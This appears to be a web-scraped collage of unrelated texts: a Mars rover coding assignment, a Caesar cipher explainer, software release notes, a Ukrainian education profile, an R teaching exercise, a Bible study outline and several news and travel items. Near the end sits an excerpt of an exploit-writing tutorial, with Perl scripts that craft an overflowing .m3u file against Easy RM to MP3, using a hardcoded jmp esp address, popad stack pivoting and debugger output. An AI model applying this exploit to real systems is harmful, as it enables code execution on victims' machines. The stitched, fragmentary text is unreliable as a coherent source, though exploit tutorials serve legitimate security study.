Task Description
Your team
is assigned to write simple navigation code for a Mars PRM (Planetary Rover Module).
The PRM must be able to execute these simple commands: MOVE, RIGHT, LEFT, and
STOP. These commands are transmitted to the PRM from the ADV (Atmospheric Descent
Vehicle) which carried the PRM to the Martian surface. The PRM must supply feedback
status to the ADV after each command (see Table 1).
The martian surface is represented by a two dimensional
grid of ASCII text characters summarized in Table 2.
|
|
Program Input
The
input file consists of three sections: a header, a map, and a command
sequence. The header is a single line of text with two fields: (1) an integer
map size Z (where Z < 20) and (2) a starting orientation string. The orientation
string may be either NORTH, SOUTH, EAST or WEST, with NORTH being at the top
of the screen (or file). This orientation string tells your program which direction
the PRM is facing at the start of the exploration.
The map is a character array of Z lines with
Z characters per line separated by spaces. The valid input map characters and
their meanings are shown in Table 2 above. The command sequence follows
the format in the Task Description. The MOVE command is followed by an integer
declaring the number of units which the PRM must move forward.
|
8 NORTH |
Program Output
The
output file must consist of two sections: a command feedback log and a
result map. The command feedback log must have a line of text for each
command from the input file. The first part of the line echoes the command, and
the second part reports the ADV feedback string. If ore or crystal is discovered
on the path then the program must print a status message indicating the type
of discovery and the position (see the example below). You may assume that the
move commands will not put the PRM outside the map boundaries.
The result map must be printed according to these
rules: (1) It must show the path taken by the PRM with plus characters. (2) It
must show the start position with an A and the final stopped position of the
PRM with a capital P. (3) It must show obstacles that interfered with movement
with a * character. (4) It must show ore and crystal discoveries with the appropriate
# or o character. (5) All other positions must be written with a ? character.
Your program must write the command feedback log
and result map with the same syntax and format as the sample below.
MOVE 3: FAILURE DUE TO OBSTACLE AT POSITION 3.
RIGHT: COMPLETE.
MOVE 2: SUCCESS.
ORE DISCOVERED AT POSITION 1.
LEFT: COMPLETE.
MOVE 4: SUCCESS.
STOP: STOPPED.

A Caesar cipher is one of the simplest (and easiest cracked) encryption methods. It is a Substitution Cipher that involves replacing each letter of the secret message with a different letter of the alphabet which is a fixed number of positions further in the alphabet.
Because each letter in the message has a direct translation to another letter, frequency analysis can be used to decipher the message. For example, the letter E is the most commonly used letter in the English language. Thus, if the most common letter in a secret message is K, it is likely that K represents E. Additionally, common word endings such as ING, LY, and ES also give clues.
A brute-force approach of trying all 25 possible combinations would also work to decipher the message.
ExampleIn this example, each letter in the plaintext message has been shifted 3 letters down in the alphabet.
Plaintext: This is a secret message


Apache TomEE 9.0.0-M8 Release Notes
Apache TomEE 9.0.0-M8 has been released.
This milestone release differs from previous 9.x releases in the sense that we migrated all TomEE code to the new Jakarta namespace. Previously, we used bytecode relocation but most of the integration code such as test support, arquillian, maven plugins were broken .
We are still working on some regressions and fixes in order to pass all TCK tests for Jakarta EE 9.1 (again). However, our own tests and most of the TCK tests are green.
We are confident that this milestone can be used to gather feedback that will help stabilize TomEE 9.x before a final version is released.
It contains some bug fixes, (build related) enhancements and a lot of dependency upgrades as well as an upgrade of microprofile. Note that we switched from Geronimo microprofile implementations to Smallrye for various reasons discussed on the mailing list.
Thank you to everyone who contributed to this release, including all of our users and the people who submitted bug reports, contributed code or documentation enhancements.

education: All children 7 to 15 years old
attend the nine year compulsory school. If parents so wish, the child may start
from the age of six. Options after the comprehensive school are upper secondary
school or vocational education. Upper secondary school: 2-year general school
leading to the Matriculation Examination, giving successful students access to
university and other higher education schools. The present vocational education
system covers both general secondary and vocational programmes, with separate
tracks for comprehensive school leavers and matriculated students. The system
is being reformed. Higher
education: Higher education in Ukraine is
administered by the Ministry of Education
which coordinates the activities of higher schools and supervises the
higher schools which are under other ministries. According to the "Law on
Education", higher education includes the following levels and categories
of establishment: level I - vocational
schools and other HEIs of a corresponding level; level II - colleges and other HEIs
of a corresponding level which teach Bachelor and junior specialist courses;
level III - institutes, conservatories,academies and universities that teach
Bachelor's and Specialist, as well as junior specialist courses and ; level IV
- institutes, conservatories, academies and universities which teach Bachelor's,
Master's and Specialist courses. The degree system is under reform: The old
system had only one stage of undergraduate studies, the degree of
"Specialist", awarded after 5 years of study. The new system
comprises two stages: undergraduate and graduate, with several degree levels. A
Union of Rectors was created in 1993. Main
laws/decrees governing higher education: Decree: Decree on autonomy Year: 1990 Concerns: higher education institutions Decree: Law on Education Year: 1996 Concerns:

year: Classes
from: Sep to: Jun Long

of instruction: English, Russian, Ukrainian Stages
of studies: Post-secondary studies (technical/vocational
type): Non-university
level: Since 1992 the whole
system of Ukrainian postsecondary education is considered "higher
education". According to the "Law on Education", the following
levels and categories of establishments offer higher vocational education:
level I - technical and vocational schools; level II - technicums and colleges.
They award the qualification of Junior Specialist. Level III institutes are
university-level institutions. Graduates from post-secondary vocational schools
must sit for final examinations and defend a graduation thesis/work. The
Diploma confers a right to employement at a pre-set level or the right to
continue training in institutions of a higher level. University level studies: University
level first stage: Bakalavr, Specialist: The academic and professional diploma of Bakalavr
(BA, BEd., BMed.) is generally awarded after four years of successful study
(six years for Medicine). The Bakalavr programme comprises basic higher
education and professional training in a given professional field. It is an
intermediate degree. The degree (Diplom) of Specialist is awarded after five or
six years of study, depending on the type of institution. University
level second stage: Magister: The Magister (Master's Degree) is awarded on the
basis of a Bachelor's Degree or Specialist's qualification generally one to two
years after the first degree. Students must pass final examinations and defend
a thesis. University
level third stage: Doctoral Degree-1: Ukraine keeps a two-degree system at doctoral
level: Kandydat nauk (Candidate of Sciences, comparable to the Ph.D.), and
Doctor nauk. The first qualification is obtained after three or four years of
study by submitting and publicly defending a thesis and passing the required
examinations. The candidate's thesis can be prepared while following various
forms of post-graduate studies. University
level fourth stage: Doctoral Degree-2: The "Doctor nauk" is the highest
scientific degree in Ukraine, comparable to "Habilitation" in some
Western countries. It is awarded to candidates already holding a "Kandidat
nauk", on the successful presentation and defence of the "Doctor
nauk" (habilitation) dissertation. The Habilitation dissertation should
represent a major contribution to the development of a given field or branch of
learning, and has to be published entirely or at least its main parts. Teacher education: Training
of pre-primary and primary/basic school teachers Pre-primary and and primary school teachers are
trained in teacher-training institutions of Levels I, II, and III of
accreditation (vocational schools, technikums, and colleges). Practical
training at kindergarten and primary schools are part of the teacher training
programme. Training
of secondary school teachers Training is provided by higher education
institutions of Levels III and IV of
accreditation (institutes and universities), in different faculties (Education,
Mathematics and Natural Sciences, Physical Education, etc.). The programme for
teachers includes standard topics of education and psychology. Teachers of
practical/vocational courses are trained in the technical education institutes. Training
of higher education teachers There are no special
forms of training for higher education teachers. Teachers of higher education
are recruited among university graduates holding a Magister or Kandidat Nauk
Degree who have followed special education courses through various types of
assistance. Non-traditional studies: Distance
higher education A network of correspondence and evening courses is
intended for persons who are already employed. Candidates for such courses must
not only pass an entrance examination, but also prove they effectively worked
for a certain time. Lifelong
higher education Some institutions of higher education (mostly
private) have departments of continuing education providing teaching based on
the principles of general higher education. Obtaining Diplomas depends on
credits obtained in required topics, as well as on the presentation of a
memoire. Higher
education training in industry A certain number of higher education institutions
organize evening classes in industry which are of the same level as full-time
studies. Other
forms of non-formal higher education The television of
Ukraine broadcasts educational programmes of different levels for students and
teachers in schools ranging from primary to upper secondary. These programmes
are desiged to introduce teachers to new pedagogical methods. NATIONAL BODIES Administration

Pentago is a 2 player game invented by Tomas Flodén. The players alternate placing marbles on a 6 by 6 field, trying to get 5 of their own marbles in a straight line. The complication is that the board is divided into four 3 by 3 quadrants, one of which must be rotated 90 degrees by the player after placing a marble.
I'd never heard of Pentago before I was given a copy as a Christmas present in 2008. I enjoyed playing the game, but after the holiday visits were over, lacked willing opponents. So I decided to build one.
I first chose Macromedia Flash for my implementation because of the ease with which graphics could be rotated and its broad browser support (at the time). It was exposed to the world at my former web site on home.att.net and advertised to family and friends.
From a June 22, 2009 email:
Yep, yet another Pentago version.
I fixed the bug KC pointed out and, as long as I was fooling around with the code anyway decided to try out an idea I had for a mobile phone (or other limited-screen-size) version. I've downloaded the freely distributed development tools for the Android platform and am in the process of learning how to build apps for those phones.
My idea offers one way to avoid the extra space around the board required to slide out the quadrants, allowing a larger (and easier to operate) board. Since I don't really consider it a game option, I didn't bother to put a control for it on the Options panel - It's hidden away. Flash applications (and some elements in them) can have context menus which appear when a user right-clicks (Windows) or Control-clicks (Macintosh) on them. You will find such a menu (with a custom item) when you right-(or Control)-click on any of the twist controls in the new version.
My browser of choice no longer supports Flash, but Internet Explorer under Windows 10 runs my old files with a minimum of fuss.
Two things about this version surprised me. First: the graphics are better than the Flash version (better highlighting and rounded corners). Second: while it uses the mobile style twisters, it does not use the mobile style twist animation.
This is the version I've been playing on and off on my phones since I bought my first Android phone July 21, 2012. The latest APK was built in September 2012, but its source files go back to 2010. I think that first phone came with Gingerbread but the APK targets the older Android version Froyo. The app was fully functional and running on the emulator of the Android Development Toolkit by the end of 2010 when I sent a copy to my son (who already had an Android phone).
I don't remember why the highlights (on the marbles and dimples) are missing from this version. Most likely I initially skipped them for simplicity's sake then either forgot or didn't bother to go back and add them. I do remember deciding to simplify the controls. I felt that a fingertip was nowhere near precise enough (unlike a mouse pointer) to operate the move-recording bar of the web-based versions. The touch interface did, however, allow me to do away with the twist controls: a brief flick of a finger will trigger a quadrant's rotation. Much more intuitive and esthetically pleasing. Less pleasing is the way I stuffed the whole interface to the top of the screen. I should have at least made the status message at the top of the screen take up more space and lowered the buttons and maybe made them bigger. Since the APK carries a version of 0.8, I did not consider it finished.
I improved the maximum strength of the computer opponent in this version, and reduced the number of difficulty levels to four, including one that makes completely random moves. I remember being able to beat the highest level occasionally, back when I was working on the code and playing a lot. Now I only play once or twice in a long while and, despite that I set the difficulty lower, I almost always find myself losing.
The app requires no permissions and works on all the current versions of Android to date, including Android Q. It even works in split screen, although the buttons disappear.
The latest (if quite old) source and binaries for all 3 versions

Week 4 Exercise
This week we looked at online and text data, and the various questions it throws up relating to quantitative research design. For the week’s coding task, we’ll be using data from the article by Pan and Siegel (2020). The actual raw tweet data used by these authors is not available in the replication materials. For good reason—there are ethical restrictions around sharing these data and Twitter’s own ToS forbids the distribution of tweet datasets.
Given that we don’t have access to these data, we are first going to go through some of the analyses conducted by the authors with the pre-processed data they do provide. We are then going to collect our own data from Google Trends, just as the authors do. We can achieve this in a few simple steps, described below.
Preparing and plotting the data
First we’re getting to read in the data on tweet volume and arrest dates of the imprisoned opinion leaders. Think about how these data have been prepared. The authors have collected data from the identified opinion leaders and have then summed the number of tweets produced by these accounts over daily intervals. This gives you an idea of one way we can make inferences from quantitative text data.
library(tidyverse)
library(gtrendsR)
library(ggthemes)
arrested <- read.csv("https://raw.githubusercontent.com/cjbarrie/teaching_material/master/arrested_tweet_volume.csv")
Using these data we can reproduce Figure 1A from the paper using the ggplot package we ’ve encountered in weeks previous. In order to look at just the thirty days pre- and post-arrest, as in the figure, we first need to subset the data.
ggplot(arrested_month, aes(days_post_release, tweets, group=post_release)) +
geom_point(colour="gray40", size=3) +
geom_smooth(method="loess", se=F, colour="black", fill="black", span=.5, size=2)+
geom_vline(xintercept =0, linetype=2) +
labs(y="Daily Volume of Tweets", x = "Days Pre-Arrest and Post-Release")+
theme(panel.grid.major = element_blank(),
panel.grid.minor = element_blank(),
panel.background = element_blank())
The authors also used Google Trends data to look at the effect of arrests on public attention. We can also look at these data and reproduce their results.
gtrends <- read.csv("https://raw.githubusercontent.com/cjbarrie/teaching_material/master/gtrends_volume_month.csv")
To arrive at these data, the authors sum the search volumes for each of the opinion leaders on the days of interest (pre- and post-arrest). We can then plot the difference in search intensity before and after arrest using code similar to that above.
ggplot(gtrends, aes(days_since_arrest, hits, group=post_arrest)) +
geom_point(colour="gray40", size=3) +
geom_smooth(method="loess", se=F, colour="black", fill="black", span=.5, size=2)+
geom_vline(xintercept =0, linetype=2) +
labs(y="Daily Search Volume", x = "Days Pre-Arrest and Post-Release")+
theme(panel.grid.major = element_blank(),
panel.grid.minor = element_blank(),
panel.background = element_blank())
Conducting t-tests
From eyeballing these figures, there seem to be differences in search volume before and after arrests are made. This does not, however, constitute statistical support for this inference. To check for significant before and after differences, we can use a t-test.
The authors provide disaggregated data on Google Trends Search volume for different individuals of interest.We can carry out t-tests on the before and after search volume for each of these to check for significant differences.
gtrends_actors <- read.csv("https://raw.githubusercontent.com/cjbarrie/teaching_material/master/gtrends_volume_disaggregated.csv")
#first we need to subset the data into the relevant categories of interest
clerics <- subset(gtrends_actors, actor_type=="sahwa_clerics"|
actor_type=="sunni_clerics")
shia <- subset(gtrends_actors, actor_type=="shia")
secular <- subset(gtrends_actors, actor_type=="liberals"|
actor_type=="lawyers"|
actor_type=="womens_rights"|
actor_type=="university_corruption")
#then we carry out the t-tests
t_test_clerics_month <- t.test(hits~post_arrest, data=clerics)
t_test_clerics_month
##
## Welch Two Sample t-test
##
## data: hits by post_arrest
## t = 0.44419, df = 68.265, p-value = 0.6583
## alternative hypothesis: true difference in means is not equal to 0

What do we see here?
Using gtrendsR
Below, we use the R package gtrendsR. This will allow you to “query” the Google Trends API directly from your R console. In essence, this just means that you don’t need to go through the click-button process of visiting the Google Trends website, setting your parameters of interest, and downloading the data to an Excel spreadsheet. Instead, you can do everything within R itself.
In the code below, all we are doing in the first line is telling the API to download daily search volume for the Arabic word “سليماني” from December 01, 2019 to January 09, 2020. Qassem Soleimani was assassinated by a US air bombardment in Iraq on January 03, 2020. This event sparked outcry and mass funeral processions in both Iraq and Iran. We would therefore expect search interest for the General to increase around this time.
You can change the date parameters to update the date to the latest date available when you come to use this hand-out. The next line specifies the language of interest—here, Arabic. Finally, we tell the API which country we’re interested in—here, Iraq. We use the two letter country code for this. You can find a list of these here. You can find complete information on the gtrendsR package here. What do we see here?
sol <- gtrends(c("سليماني"),
time = "2019-12-01 2020-02-05",
hl = "ar",
geo = c("IQ"))
#data comes in "list" format so convert to dataframe for easier use
soldf <- as.data.frame(sol$interest_over_time)
#get date in R-readable format
soldf$date <- as.Date(soldf$date)
#hits is stored as "character" string variable but should be numeric
soldf$hits <- as.numeric(soldf$hits)
## Warning: NAs introduced by coercion
ggplot(soldf, aes(date, hits)) +
geom_line(size = 0.5) +
xlab("Date") + ylab("Daily Search Volume") +
theme(panel.grid.major = element_blank(),
panel.grid.minor = element_blank(),
panel.background = element_blank())
In the figures used by Pan and Siegel, they split into days before and after arrests occur. For the Soleimani data, we might like to split into days before and after the killing of Soleimani by the US. When working with dates, it is helpful to have a numeric identifier for each day, if we want to manipulate these data or perform calculations on them. Therefore we first assign a numeric identifier to the dates.
## [1] 18264
We can see that the numeric identifier for 03 January, 2020 is 18264. We therefore subtract this number from each of the numeric dates to obtain a column of numbers indicating how many days before or after the assassination of Soleimani.
As in the Pan and Siegel data, we then need a column telling us whether or not the day in question was before or after the assassination. This is simply a column of 1s and 0s depending on whether or not the datesol variable is positive or negative.
ggplot(soldf, aes(datesol, hits, group=postass)) +
geom_point(colour="gray40", size=3) +
geom_smooth(method="loess", se=F, colour="black", fill="black", span=.5, size=2)+
geom_vline(xintercept =0, linetype=2) +
labs(y="Daily Search Volume", x = "Days Pre-Assassination and Post-Assassination")+
theme(panel.grid.major = element_blank(),
panel.grid.minor = element_blank(),
panel.background = element_blank())
## `geom_smooth()` using formula 'y ~ x'
Coding tasks
- Choose alternative search parameters for the Google Trends API and retrieve data for them.
- Plot these data over time.
- Choose a relevant date over which to split these data, and replot.
- Conduct a t-test on the before and after search volumes.

World's tallest live-cut Christmas tree lights up at Citadel Outlets with over 18K lights
COMMERCE, Calif. (KABC) -- The holiday season was officially ushered in at the Citadel Outlets in Commerce Saturday night with a tree lighting ceremony for the world's tallest live-cut tree.
The tree stands 115 feet tall, which is twice as tall as the Hollywood sign. The massive white fir tree from Northern California was lit with more than 18,000 multi-colored and energy-efficient LED lights. It was also adorned with 10,000 ornaments.
The 18th annual tree lighting ceremony featured a mix of free pop and holiday musical performers, which marks the beginning a nightly snowfall event. Guests will be able to experience falling snow every night at 6 p.m. and 8.p.m until the tree lighting ends on Dec. 31.

Part 1
Exodus 1-19
God's Unique Identity
-
Covenant-Keeping God
Exodus 6:5 says God acted in Exodus because he remembered his covenant with Abraham, Issac and Jacob
-
Utterly Supreme
Moses tells Pharaoh in 8:10: "Be it as you say, so that you may know that there is no one like the Lord our God."
-
Great Warrior
Moses' song in 15:2-3 tells us that this is what God's defeating the Egyption army is all about
-
Caring Provider
When Israel is hungry, God feeds them. Why? 16:2 "Then you shall know that I am the Lord your God
The Pattern of Redemption
-
Oppressed in Slavery
The exodus is the salvation of God's people out of something: in this case, out of tyrannical captivity
-
The Lord Acts to Save
The concept of redemption refers to purchasing freedom for a slave. The death of the Passover lamb is the ransom price for the firstborn sons of Israel
-
Lead to a Promised Land
Israel is rescued out of slavery with the intent of taking them into a land where they can worship as God's people in God's place under God's rule.
God's Special People
But they are off to a bad start
At the end of the Exodus, the "Son of God" - Israel - miraculously passes through the waters of the Red Sea (14)
* * *
But, in 16:8 they grumble against the Lord because they have no food to eat
* * *
While God was giving Moses the 10 commandments that forbade idolatry, the people worship a golden calf and call it their god
In 16:2, they begin to march through the desert wilderness
* * *
In 17:2, they put the Lord to the test when they quarrel with Moses about not having water to drink
Israel vs. Christ as God's Son
Israel & the Exodus
- Miraculously passes through the waters of the Red Sea
- They march through the desert wilderness
- They grumble because they have no food to eat
- They put the Lord to the test in quarrelling with Moses
- They worship a golden calf as their god
Christ's Temptations
- Jesus passes through the waters of baptism and is called God's Son
- Christ went into the desert to be tempted
- His first temptation: not having food to eat
- His second temptation: to "test" God
- His final temptation: to worship someone other than God
God's Glorious Motive
Purpose of the plagues
9:29 "The thunder will cease, and there will be no more hail, so that you may know that the earth is the Lord's"
Judgement of Egypt at the Red Sea
14:4 "And I will harden Pharaoh's heart, and he will pursue them, and I will get glory over Pharaoh and all his host, and the Egyptians shall know that I am the Lord."
Hardening Pharaoh's Heart
9:16 "But for this purpose I have raised you up, to show you my power, so that my name may be proclaimed in all the earth."

Alien Isolation Switch release set for early December
by Steve WrightIt's time to save Amanda, again.
The Alien Isolation Switch release has been dated for 5 December 2019, Feral Interactive today confirmed.
Originally developed by The Creative Assembly and released in 2014, this Switch release will also include all the DLC previously released for the title. Gyroscopic controls will also be offered on Nintendo’s home-hybrid console.
“This is without a doubt an Alien game that finally lives up to the franchise’s promise, and one that every gamer should play,” we said in our review. “That said, it’s not for the faint of heart; it’s not full of jump scares, but high-tension and stressful moments will require a certain type of player.”
Alien Isolation is currently available on Windows PC, Xbox 360, Xbox One, PS3, PS4 and heads to Switch on 5 December.

Bank Indonesia: Rate pause, but RRR cut - ANZ
by Dhwani MehtaAnalysts at Australia and New Zealand Banking Group (ANZ) offer their quick reaction to the Indonesian monetary policy decision announced earlier this Thursday.
Key Quotes:
“Bank Indonesia (BI) left its 7-day reverse repo rate at 5.00% today, after delivering a cut of 25bps each in its previous four meetings.
However, it lowered banks’ reserve requirement ratio (RRR) by 50bps in a move aimed at boosting liquidity and supporting growth.
While BI has signalled scope for further policy easing, today’s actions suggest the central bank is keen to use its policy space more cautiously now.
We maintain our view that the current easing cycle is nearing its end and continue to see just one more 25bp rate cut.”

From the entrance gate, the road winds through an expanse of lush jungle-like groundwater forest where hundred-strong baboon troops lounge nonchalantly along the roadside, blue monkeys scamper nimbly between the ancient mahogany trees, dainty bushbuck tread warily through the shadows, and outsized forest hornbills honk cacophonously in the high canopy. Manyara provides the perfect introduction to Tanzania’s birdlife. More than 400 species have been recorded, and even a first-time visitor to Africa might reasonably expect to observe 100 of these in one day. Highlights include thousands of pink-hued flamingos on their perpetual migration, as well as other large waterbirds such as pelicans, cormorants and storks.

- popad
- hardcode address to jump to
the “popap” instruction may help us ‘jumping’ to our shellcode as well. popad (pop all double) will pop double words from the stack (ESP) into the general-purpose registers, in one action. The registers are loaded in the following order : EDI, ESI, EBP, EBX, EDX, ECX and EAX.� As a result, the ESP register is incremented after each register is loaded (triggered by the popad). One popad will thus take 32 bytes from ESP and pops them in the registers in an orderly fashion.
The popad opcode is 0x61
So suppose you need to jump 40 bytes, and you only have a couple of bytes to make the jump, you can issue 2 popad’s to point ESP to the shellcode (which starts with NOPs to make up for the (2 times 32 bytes – 40 bytes of space that we need to jump over))
Let’s use the Easy RM to MP3 vulnerability again to demonstrate this technique :
We’ll reuse one of the script example from earlier in this post, and we’ll build a fake buffer that will put 13 X’s at ESP, then we’ll pretend there is some garbage (D’s and A’s) and then place to put our shellcode (NOPS + A’s)
We’ll reuse one of the script example from earlier in this post, and we’ll build a fake buffer that will put 13 X’s at ESP, then we’ll pretend there is some garbage (D’s and A’s) and then place to put our shellcode (NOPS + A’s)
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 17; #let's pretend this is the only space we have available
my $garbage = "\x44" x 100; #let’s pretend this is the space we need to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";
�
After opening the file in Easy RM to MP3, the application dies, and ESP looks like this :
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00104a58 ecx=7c91005d edx=003f0000 esi=77c5fce0 edi=0000666d
eip=42424242 esp=000ff730 ebp=00344158 iopl=0 nv up ei pl nz na pe nc

Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
 So 260 bytes = 9 popad’s (-28 bytes)
(so we need to start our shellcode with nops, or start the shellcode at [start of shellcode]+28 bytes
In our case, we have put some nops before the shellcode, so let’s try to “popad” into the nops and see if the application breaks at our breakpoint.
First, overwrite EIP again with jmp esp. (see one of the previous exploit scripts)
Then, instead of the X’s, perform 9 popad’s, followed by “jmp esp” opcode (0xff,0xe4)
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll
my $preshellcode = "X" x 4; # needed to point ESP at next 13 bytes below
$preshellcode=$preshellcode."\x61" x 9; #9 popads
$preshellcode=$preshellcode."\xff\xe4"; #10th and 11th byte, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90"; #fill rest with some nops
my $garbage = "\x44" x 100; #garbage to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";
After opening the file, the application does indeed break at the breakpoint. EIP and ESP look like this :
f40.5f0): Break instruction exception - code 80000003 (first chance)
eax=90909090 ebx=90904141 ecx=90909090 edx=90909090 esi=41414141 edi=41414141

Missing image name, possible paged-out or corrupt data.

 Then the jump to esp was made (0xff 0xe4), which made EIP jump to nops, and slide to the breakpoint (at 000f874)
Replace the A’s with real shellcode :
pnwed again !

Court issues arrest order for four fugitives in Abrar murder
by bdnews24.comA Dhaka court has issued an arrest warrant for four fugitives in a case over the murder of BUET student Abrar Fahad.
Additional Chief Metropolitan Magistrate Md Kaiserrul Islam passed the order on Monday after accepting the charge-sheet and has set Dec 3 to open a hearing.
The case documents will be sent to the judicial court on that day or earlier, said SI Mazharul Islam, general registration officer of the court.
The court has asked to be updated on the move to arrest the fugitives by Dec 3, Mazharul told bdnews24.com.
The four fugitives named in the case are Mahmudul Jishan, Ehteshamul Rabbi Tanim, Morshed Amartya Islam and Mujtaba Rafi
Abrar, a second-year student of electrical and electronic engineering, was bludgeoned to death by leaders and activists of BCL in his dormitory on Oct 6 after he criticised the government over a water-sharing deal with India on Facebook.
His father started a case against 19 students with the police the next day. Police subsequently arrested 21 people over the matter. A total of 25 people, including the 21 arrested, were charged in the final charge-sheet.
